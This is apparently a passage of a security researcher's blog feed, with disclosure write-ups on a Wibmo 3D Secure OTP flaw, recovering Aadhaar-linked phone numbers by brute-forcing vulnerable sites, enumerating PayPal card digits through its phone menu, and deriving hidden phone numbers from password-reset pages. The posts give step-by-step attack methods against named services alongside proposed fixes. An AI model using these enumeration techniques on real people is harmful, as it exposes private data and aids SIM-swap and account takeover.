<p>The scope of affected banks is somewhat difficult to deduce in this case. Potentially affected banks can be identified <em>prima facie</em> through the presence of a “Powered by Wibmo” footer on the Access Control Server webpage. At the same time however, banks can choose to modify their implementation of 3D Secure 1.0, which means that particular banks <em>may</em> or <em>may not</em> employ the flawed OTP mechanism. Nevertheless, it can authoritatively be said that this flaw does affect <em>all payment cards</em> issued by Kotak Mahindra Bank and Punjab National Bank, at the very least.</p>

<p>An extended list of banks which have used Wibmo for integration with 3D Secure 1.0 can be found <a href="https://pastebin.com/raw/QP5VbtC2">here</a>.</p>

<p>This flaw was disclosed to Wibmo on August 3, 2019. The security team at Wibmo closed the issue and marked it as known functionality on August 12, 2019. The flaw was publicly disclosed on August 25, 2019. I would like to thank <a href="https://twitter.com/captn3m0">captn3m0</a> for the assistance he provided in helping ascertain the scope of this issue.</p>]]></content><author><name>Karan Saini</name></author><category term="Security" /><category term="3D Secure" /><category term="Cardholder Verification" /><category term="OTP Relay" /><summary type="html"><![CDATA[This article documents a security flaw in the mechanism through which the 3D Secure implementation of Wibmo andles the generation and processing of the one-time PIN used for performing cardholder verification.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://karansaini.com/wp-content/uploads/TT.png" /><media:content medium="image" url="https://karansaini.com/wp-content/uploads/TT.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Extracting personal phone numbers linked to Aadhaar</title><link href="https://karansaini.com/extracting-aadhaar-linked-phone-numbers/" rel="alternate" type="text/html" title="Extracting personal phone numbers linked to Aadhaar" /><published>2018-05-03T12:23:54+00:00</published><updated>2018-05-03T12:23:54+00:00</updated><id>https://karansaini.com/extracting-aadhaar-linked-phone-numbers</id><content type="html" xml:base="https://karansaini.com/extracting-aadhaar-linked-phone-numbers/"><![CDATA[<p>The purpose of this article is to demonstrate how the personal phone number linked to any given Aadhaar can be extrapolated due to problems in implementation of the text-based authentication mechanism which websites offering Aadhaar authentication rely on.</p>

<p>Websites which make use of text-based (OTP) Aadhaar authentication display to the user only the last four digits of the phone number linked to the provided Aadhaar. This is ostensibly a privacy safeguard put in place by the UIDAI to limit personally identifiable information from being revealed prior to authentication.</p>

<p>This privacy safeguard can be circumvented using websites which poorly implement text-based Aadhaar authentication, specifically, through websites which allow the user to input both the Aadhaar number as well as the verified phone number linked to the same.</p>

<p>If the provided phone number doesn’t match the verified phone number linked with the corresponding Aadhaar; the user is notified and has the ability to try again. This flaw in implementation introduces a surface for computer-aided guessing and enumeration attacks which can be abused to reveal the entire phone number linked to a given Aadhaar.</p>

<p>Several websites were analyzed and tested for this article out of which three were found to be vulnerable to enumeration attacks which could be used to retrieve the complete phone number linked to an Aadhaar.</p>

<h3 id="obtaining-the-last-four-digits">Obtaining the last four digits</h3>

<p>The <a href="http://digilocker.gov.in">digilocker.gov.in</a> website reveals the last four digits of linked phone number prior to successful authentication. This means that a user would simply have to input an Aadhaar number when signing up for DigiLocker and the last four digits of the linked phone number would then be displayed.</p>

<p><img src="/media/may32018.png" alt="" width="250" /></p>

<p>It should be clarified that DigiLocker is one of many websites which can be used to retrieve the last four digits of the Aadhaar-linked phone number. It should also be clarified that the websites mentioned in this post were selected for no reasons other than their general availability.</p>

<p>Another website which was found to share the characteristic of disclosing the last four digits was <a href="http://nfsm.gov.in/dbt/aadhaarverification.aspx">nfsm.gov.in</a> – where after entering an Aadhaar number the last four digits of the phone number linked to it were displayed.</p>

<p><img src="/media/may620183423.png" alt="" width="250" /></p>

<p>While most sites were found to have properly implemented text-based Aadhaar authentication, several other websites – both in the public and private sector – were found to be susceptible to the implementation flaws and vulnerabilities mentioned earlier.</p>

<h3 id="obtaining-the-first-six-digits">Obtaining the first six digits</h3>

<p>The Indian mobile telephone numbering system defines that the first digit of a mobile phone number can (currently) only be one of the following: nine (9), eight (8) or seven (7).</p>

<p>This information will prove to be immensely useful during the enumeration process as it allows for eliminating the entire number space for numbers 1-6 when going through combinations of possible phone numbers.</p>

<p>Let us say that the following partial phone number is retrieved from DigiLocker or any other website which performs Aadhaar authentication:</p>

<p><img src="/media/may6201802.png" alt="" width="250" /></p>

<p>Here, the digits which are not currently known are represented using <strong>X</strong>, and the digits which are known are represented using <strong>Y</strong>.</p>

<p>Simply for the sake of convenience; the enumeration process should ideally begin from the 9XXX series of phone numbers, as it is the <a href="https://en.wikipedia.org/wiki/Mobile_telephone_numbering_in_India">most populated mobile telephone number series</a> in India.</p>

<p><img src="/media/may620180101.png" alt="" width="250" /></p>

<p>Discovery of the five unknown digits can be automated with the use of a script, or through an intercepting proxy such as the OWASP Zed Attack Proxy – which features a tool to send automated requests to a web server with a given set of payloads.</p>

<p>(In this context, the term payload refers to the entire five digit number space which contains <a href="https://github.com/karsaini/enumerate-list/blob/master/files/5_digits_00000-99999.txt">all numbers ranging from 00000 to 99999</a>)</p>

<p><img src="/media/may62018432.png" alt="" width="250" /></p>

<p class="graf graf--p">
  To reiterate; the script or tool would query any of the vulnerable websites repeatedly to extract the full phone number pertaining to any given Aadhaar.
</p>

<p>The video below demonstrates this process through the use of Burp Suite – which is another intercepting proxy capable of sending automated requests.</p>

<p>Note (May 2026): The video referenced above is no longer available.</p>

<p>In the video above, the valid phone number combination can be distinguished on the basis of its response length. A response length of 8081 signifies a match, as opposed to a response length of 1389 or 1375 which signifies an authentication failure.</p>

<p>If no valid results are found in the 9XXX series of phone numbers, enumeration could then be carried out on the 8XXX and 7XXX number series respectively – until a match has been found.</p>

<p>In most cases – a positive match should be found in the 9XXX series simply due to its size – but this ultimately depends on several factors such as the state where the phone number in question was issued, cellular carrier (as well as whether the number has been ported to another carrier) and others.</p>

<p><img src="/media/may62018014.png" alt="" width="250" /></p>

<p>An attack like the one described in this post would take around 17 minutes for each number series – given that there are 100 requests each second, or 6000 per minute. It would take 17 minutes in total for each number series to be exhausted with 99,999 possible combinations in each.</p>

<p>This means that exhausting all current number series (9XXX, 8XXX, 7XXX) would take around 51 minutes with the above-mentioned conditions.</p>

<p>NOTE: A text-message containing a one-time-pin for Aadhaar authentication is sent to the linked phone number as soon as a match is found.</p>

<h3 id="possible-fixes">Possible fixes</h3>

<p>The masking scheme used in the authentication process could be strengthened by disclosing only the least number of digits needed to verify the correctness of the linked phone number.</p>

<p>An example of such a masking scheme could be something similar to this:</p>

<p><img src="/media/may620185395.png" alt="" width="250" /></p>

<p>A masked phone number like the one displayed above would hinder attempts at enumeration and/or guessing while still allowing for verification of the correctness of the linked phone number.</p>

<h3 id="conclusion">Conclusion</h3>

<p>A new attack surface is introduced when websites which make use of Aadhaar authentication allow users to enter an Aadhaar number as well as the phone number linked to the same. Any website which shares this characteristic could potentially be abused in such a way which allows for accurate deduction of the phone number linked to a given Aadhaar.</p>

<p>The privacy implications of being able to map an Aadhaar number to its corresponding phone number are grave – as a lot can become known about a person given their phone number, such as their full name through a reverse lookup, their social media profiles through ‘Find your friends’ features on social media websites, and more information which one should not be able to glean from a 12 digit UID.</p>

<p>Additionally, knowledge of a phone number and the Aadhaar card number to which it is linked could be used by malicious parties to aid SIM swap attacks, phishing schemes and other illicit activities which require knowledge of the same.</p>]]></content><author><name>Karan Saini</name></author><category term="Privacy" /><category term="Aadhaar" /><category term="Phone Numbers" /><category term="OSINT" /><summary type="html"><![CDATA[This article demonstrates how the personal phone number linked to any given Aadhaar can be extrapolated due to problems in implementation of the text-based authentication mechanism which websites offering Aadhaar authentication rely on.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://karansaini.com/wp-content/uploads/may_6_2018_b_g.png" /><media:content medium="image" url="https://karansaini.com/wp-content/uploads/may_6_2018_b_g.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Disclosure of account balance and recent transactions on PayPal</title><link href="https://karansaini.com/information-disclosure-paypal/" rel="alternate" type="text/html" title="Disclosure of account balance and recent transactions on PayPal" /><published>2018-02-23T19:30:17+00:00</published><updated>2018-02-23T19:30:17+00:00</updated><id>https://karansaini.com/information-disclosure-paypal</id><content type="html" xml:base="https://karansaini.com/information-disclosure-paypal/"><![CDATA[<p>This article details an issue which allows for enumeration of the last four digits of payment method (such as a credit or debit card) and for the disclosure of account balance and recent transactions of any given PayPal account.</p>

<p>This attack was submitted to PayPal’s <a href="https://www.paypal.com/bugbounty/" target="_blank" rel="noopener noreferrer">bug bounty program</a> where it was classified as being out of scope, which is something that would admittedly be unavailing to refute, since their program scope does not mention anything about attacks on their interactive voice response system.</p>

<p>The issue still exists as of February 24, 2018.</p>

<h3 id="prerequisites-and-reconnaissance">Prerequisites and Reconnaissance</h3>

<p>In order to get started, the attacker would require knowledge of two pieces of information pertaining to an account, which would be the e-mail address and phone number linked to it.</p>

<p>Armed with knowledge of the e-mail address and phone number linked to an account, the attacker would visit the <a href="https://www.paypal.com/authflow/password-recovery/" target="_blank" rel="noopener noreferrer"><em>Forgot Password</em></a> page on PayPal’s website, and enter the e-mail address associated with the targeted account.</p>

<p>The attacker would then be presented with the type of card linked to the account, as well as the last two digits of the same.</p>

<p><img src="/media/feb_24_2018_1.png" alt="" width="250" /></p>

<h3 id="attacking-the-interactive-voice-response-system">Attacking the Interactive Voice Response System</h3>

<p><strong>Note:</strong> You can listen to the audio of the IVR interaction here <a href="https://soundcloud.com/sainikaran/sets/disclosure-of-account-balance-and-recent-transactions-on-paypal">here</a></p>

<p>On first glance, the interactive voice response system on PayPal’s phone-based customer support seemingly allows for a maximum of three attempts at submitting the correct last four digits per phone call.</p>

<p>However, if the first attempt at submission is incorrect, the caller will not be notified of a successful submission in subsequent attempts made during the same phone call. This makes any additional attempts given to a caller during the same phone call completely cosmetic.</p>

<p>To get around this presumed limitation, the attacker would have to make only one attempt at submitting a possible combination of the last four digits per phone call.</p>

<p><img src="/media/feb_24_2018_2.png" alt="" width="250" /></p>

<p>Additionally, limiting the number of attempts to one submission per phone call makes the task of enumerating the correct combination much more time-efficient, and not to mention, it allows for easily distinguishing between a correct attempt and an incorrect one.</p>

<p>Furthermore, upon have tested this theory with my own account, I have been able to conclude that there is no limit on the number of submission attempts which can be made in this manner, meaning that hypothetically, an attacker could even call 10,000 times to enumerate the last four digits entirely on their own.</p>

<p>That would, however, be disregarding the last two digits retrieved from the <em>Forgot Password</em> page, the knowledge of which effectively makes the attack much more feasible–by reducing the number of possible combinations from 10,000 to just 100.<figure></figure></p>

<p>Once the correct combination of the last four digits has been found, the attacker would simply have to use the interactive voice response system to retrieve information about the account.</p>

<p>After having entered the correct last four digits, the account’s current balance will automatically read off by the machine.<figure></figure></p>

<p>Additionally, to retrieve information about recent transactions, an attacker would simply have to say “recent transactions”, and the same would then be read off.<figure></figure></p>

<h3 id="attack-efficacy-and-efficiency">Attack Efficacy and Efficiency</h3>

<p>If the aforementioned prerequisites have been met, an attacker would without fail have the ability to enumerate the correct last four digits of the payment method linked to an account. This information could then further be used to retrieve the account’s current balance and recent transactions as well.</p>

<p>Moreover, after having timed various attempts at submission of the last four digits, it was found that an attempt at submission would on average take around 30 seconds. The fastest possible time was found to be exactly 27 seconds per phone call.</p>

<p>If we take the fastest possible time as our average, enumerating all possible combinations from 00XX to 99XX would take at most around 45 minutes. This time could then be halved by adding another phone in the mix to consecutively make calls with.</p>

<h3 id="possible-fixes">Possible Fixes</h3>

<p>Users should be allowed to opt for privacy settings which keep the amount of data revealed on the <em>Forgot Password</em> page to a minimum. This would be similar to how Twitter allows its users to hide information about the email address and/or phone number linked to their account when attempting to reset its password.</p>

<p>It would also be similar to how Facebook allows users to choose whether their full names show up or not when their e-mail address is entered on the password reset page.</p>

<p>Perhaps some measures could be deployed where the last two digits of credit or debit card, if they need to be shown at all, are only shown when the request matches a certain criteria, such as if/when the request has been made from a recognizable device or location.</p>

<h3 id="conclusion">Conclusion</h3>

<p>This issue allows for enumeration of the last four digits of the payment method on an account, which then allows for the disclosure of the account’s current balance and recent transactions.</p>

<p>An attacker with knowledge of the targeted account’s email address and phone number would first use PayPal’s <em>Forgot Password</em> page to retrieve the last two digits of the payment method linked to the account.</p>

<p>The attacker would then be able to accurately enumerate the last four–or rather the first two of the last four digits–of the payment method on the account by making phone calls to PayPal’s phone-based customer support and interacting with the interactive voice response system.</p>

<p>Once the attacker has successfully enumerated the last four digits of credit/debit card or bank account linked to the account, they would then be able to query the current account balance and recent transaction information at will.</p>

<p>I would like to mention that, since there is no human interaction required or involved in this attack, it is essentially a backdoor into PayPal accounts–allowing attackers to query current account balance and recent transaction information of any given account, at any time.</p>]]></content><author><name>Karan Saini</name></author><category term="Privacy" /><category term="Open Source Intelligence" /><category term="OSINT" /><category term="PayPal" /><summary type="html"><![CDATA[This article details an issue which allows for enumeration of the last four digits of payment method (such as a credit or debit card) and for the disclosure of account balance and recent transactions of any given PayPal account.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://karansaini.com/media/feb_24_2018_paypal.jpg" /><media:content medium="image" url="https://karansaini.com/media/feb_24_2018_paypal.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Fuzzing for obfuscated phone numbers</title><link href="https://karansaini.com/fuzzing-obfuscated-phone-numbers/" rel="alternate" type="text/html" title="Fuzzing for obfuscated phone numbers" /><published>2017-06-29T06:25:33+00:00</published><updated>2017-06-29T06:25:33+00:00</updated><id>https://karansaini.com/fuzzing-obfuscated-phone-numbers</id><content type="html" xml:base="https://karansaini.com/fuzzing-obfuscated-phone-numbers/"><![CDATA[<p>In the current age of information, any technology you own could potentially be used as an avenue for attack, including your mobile phone.</p>

<p>In writing and publishing this piece, I am hoping to highlight the risk of linking a single invariable phone number across all of your online accounts, and how doing so could easily allow for an adversary to derive your personal phone number, and then use it to carry out attacks which require knowledge of the same.</p>

<p>The potential threat posed by someone knowing your phone number might seem trivial at most, until existence of vulnerabilities such as one that had <a href="https://www.cnet.com/news/bug-reportedly-exposed-t-mobile-customers-personal-data/">recently affected T-Mobile</a> are taken into account.</p>

<p>In the case of the previously mentioned vulnerability, an attacker could have used it to query sensitive, personally identifiable information of any T-Mobile subscriber by knowing just their phone number.</p>

<p>The data which was being leaked included information such as—account number, status and creation date, SIM IMSI number, e-mail address, encrypted security question answers, as well as details about when the account password was last changed.</p>

<p>Furthermore, the accumulated information could then be used to aid what is called a ‘SIM swap’ attack, which allows attackers to gain access to and have complete control over a person’s mobile phone number, including all incoming and outgoing communication (calls, text messages and voicemail).</p>

<h3 id="reconnaissance">Reconnaissance</h3>

<p>This post was written with regard to the fictional target being from the United States, but based on context, it could very easily be adapted to work with persons from another country.</p>

<p>The attacker would need to determine the location of the target from their online presence.</p>

<p>This part is extremely easy, as most people reveal their current city on their Facebook page. However, if this information is not listed on their social media profiles, it would have to be gathered from other publicly available sources. The attacker would also require knowledge of the target’s e-mail address.</p>

<p>Once the prerequisites have been met, the attacker would head over to the ‘Forgot password’ page on Facebook or Twitter, and submit the email address or username of the target.</p>

<p>If the submitted e-mail address or username corresponds to an existing account, the attacker would be presented with the last two digits of the phone number linked to it.</p>

<p><img src="/media/jan_14_2018_1.png" alt="" width="250" /></p>

<p>The attacker would then head over to PayPal’s website for more information regarding the phone number.</p>

<p>The process here is similar—the attacker would enter the e-mail address of the target on the ‘Having trouble logging in?’ page and use the response to add to the currently incomplete phone number.</p>

<p><img src="/media/jan_14_2018_3.png" alt="" width="250" /></p>

<p>A look at the target’s social media profiles allows for a conclusion to be made about their current city of residence, which in this case is: New York, USA.</p>

<p>The attacker then looks through the assigned area codes for the city and finds that only one area code starts with the digit ‘3’—which, if you remember, matches the first one digit earlier retrieved from PayPal.</p>

<p><img src="/media/jan_14_2018_8.png" alt="" width="250" /></p>

<p>This information allows the attacker to confirm the first three digits of the phone number.</p>

<p>The attacker would now have to parse a list of all possible phone number prefixes (which would be the three digits following the area code) and adjoin them with the partially obfuscated phone number currently known.</p>

<p><img src="/media/jan_14_2018_2.png" alt="" width="250" /></p>

<p>Lastly, the attacker would have to manually submit and check off phone numbers from the compiled list, until either the full name of the target has been returned, or distinctive characteristics which are most likely to match the originally provided e-mail address have been identified.</p>

<p>It is possible to automate this part of the process, but it usually would not be needed as the list of possible phone numbers shouldn’t be too long to begin with.</p>

<p><img src="/media/jan_14_2018_7.png" alt="" width="250" /></p>

<p>Success! The previously obfuscated phone number is now fully known.</p>

<p>It is also possible to further verify whether the retrieved phone number belongs to the target (or not), by using various open source intelligence techniques.</p>

<p>For instance, unless you have explicitly disabled a certain privacy setting on Facebook, your full name and profile picture are displayed to anyone who submits your e-mail address or phone number on the ‘Forgot password’ page.</p>

<p><img src="/media/jan_14_2018_4.png" alt="" width="250" /></p>

<p>Another technique is to use Google’s ‘Forgot email?’ page, which allows you to submit a name and phone number to see if there is a corresponding Google account linked with the same.</p>

<h3 id="conclusion">Conclusion</h3>

<p>The attacker would initially use Twitter or Facebook to gather information about the target’s location and to retrieve the last two digits of the target’s phone number.</p>

<p>PayPal would then be used to retrieve the first one and last four digits of the phone number. The last four digits retrieved from PayPal would help conclusively verify whether the last two digits retrieved from Facebook were accurate and up-to-date.</p>

<p>The target’s general location and previously retrieved first one digit would then be used to make an educated guess about the area code (first three digits) of the phone number in question.</p>

<p>The phone number prefixes (which are the three digits following the area code) would be parsed into a list of possible phone numbers belonging to the target, with number prefixes ranging from 200-999.</p>

<p>The exact phone number would then be confirmed by submitting phone numbers from the compiled list to the ‘Forgot password’ page on Facebook, and looking for when the full name of the target is returned, or when distinctive characteristics—such as an unusual e-mail address domain are found to match with the originally provided e-mail address.</p>

<p>The websites mentioned in this report play an pivotal part in allowing for extrapolation of obfuscated phone numbers, however, it should be noted that the sites mentioned are only two from a list of several other popular websites which pave way for the same end result.</p>

<p>For example, Yahoo! gives away the first and last two digits of the phone number when attempting to reset an account password.</p>

<p><img src="/media/jan_14_2018_9.png" alt="" width="250" /></p>

<p>The general public can combat part of the issue by using varying phone numbers when signing up for different online services, and by refraining from providing personal phone numbers to websites that reveal partial phone number information on their password reset pages.</p>

<hr class="wp-block-separator is-style-dots" />

<p>Update: April 11, 2018 – An earlier version of this article appears in the Spring 2018 issue (Volume 35-1) of <a href="https://2600.com/">2600 Magazine</a>.</p>]]></content><author><name>Karan Saini</name></author><category term="Privacy" /><category term="Open Source Intelligence" /><category term="OSINT" /><category term="Phone Number Obfuscation" /><summary type="html"><![CDATA[In the current age of information, any technology you own could potentially be used as an avenue for attack, including your mobile phone.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://karansaini.com/wp-content/uploads/obfuscated-numbers.jpg" /><media:content medium="image" url="https://karansaini.com/wp-content/uploads/obfuscated-numbers.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>